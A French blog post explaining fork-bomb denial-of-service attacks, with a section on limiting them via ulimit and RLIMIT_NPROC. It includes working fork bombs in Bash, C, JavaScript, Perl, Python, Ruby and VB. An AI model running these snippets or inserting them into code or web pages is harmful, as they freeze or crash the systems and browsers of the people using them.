Étiquette : DoS

21 juin 2015 /

La fork bomb est une forme d’attaque par déni de service contre un système en utilisant la fonction fork. Elle se base sur la supposition que le nombre de programmes et de processus pouvant être exécutés simultanément sur un ordinateur est limité.

Une fork bomb fonctionne en créant un grand nombre de processus très rapidement afin de saturer l’espace disponible dans la liste des processus gardée par le système d’exploitation. Si la table des processus se met à saturer, aucun nouveau programme ne peut démarrer tant qu’aucun autre ne termine. Même si cela arrive, il est peu probable qu’un programme utile démarre étant donné que les instances de la bombe attendent chacune d’occuper cet emplacement libre.

Non seulement les fork bombs utilisent de la place dans la table des processus, mais elles utilisent chacune du temps processeur et de la mémoire. En conséquence, le système et les programmes tournant à ce moment-là ralentissent et deviennent même impossibles à utiliser.

En Bash:

:(){ :|:& };:

Explications:

:() définit une fonction nommée : .
Puis { :|:& } est le corps de la fonction. Dans celui-ci, la fonction s’appelle elle-même (:), puis redirige la sortie à l’aide d’un pipe (|) sur l’entrée de la même fonction : et cache le processus en fond avec &. La fonction, ensuite appelée avec :, s’appelle récursivement à l’infini.

La fork bomb fonctionne en créant autant de processus que possible. Ainsi, s’en premunir, il suffit simplement de limiter le nombre de processus pouvant être exécutés par un programme ou par un utilisateur. En permettant aux utilisateurs de non-confiance de lancer seulement un petit nombre de processus, le danger d’une fork bomb, intentionnelle ou non, est réduit. Toutefois, cela n’empêche pas un groupe d’utilisateurs de collaborer pour consommer les emplacements processus, à moins que la limite totale des processus soit plus grande que la somme des limites des processus individuelles.

Les systèmes de type Unix permettent de limiter le nombre de processus via la commande ulimit. Dans un noyau Linux, cette limite peut être indiquée via RLIMIT_NPROC. Si un processus appelle fork et que l’utilisateur possède déjà plus de RLIMIT_NPROC processus alors le fork échoue. Ici encore la limitation est propre à un utilisateur donné et ne permet pas de déjouer les attaques simultanées par plusieurs utilisateurs. Elle permet toutefois de limiter l’impact de forks accidentels, par exemple lors de la conception d’un logiciel ou d’un bogue dans une application.

 

Voici d’autre façon de faire des Fork Bomb:

En langage C:

#include
int main(void)
{
while(1) {
/* ici on peut ajouter un malloc pour utiliser plus de ressources */
fork();
}
return 0;
}

En Javascript:

function open_target_blank()
{
window.open(window.location);
}
window.onload = open_target_blank();
OU
while (true)
{
var w = window.open();
w.document.write(document.documentElement.outerHTML || document.documentElement.innerHTML);
}

En Perl:

fork while fork

En Perl depuis un terminal:

perl -e "fork while fork" &

En Python:

import os
while True:
os.fork()

En Ruby:

loop { fork }

En VB:

Private Sub Main()
Do
Shell App.EXEName
Loop
End Sub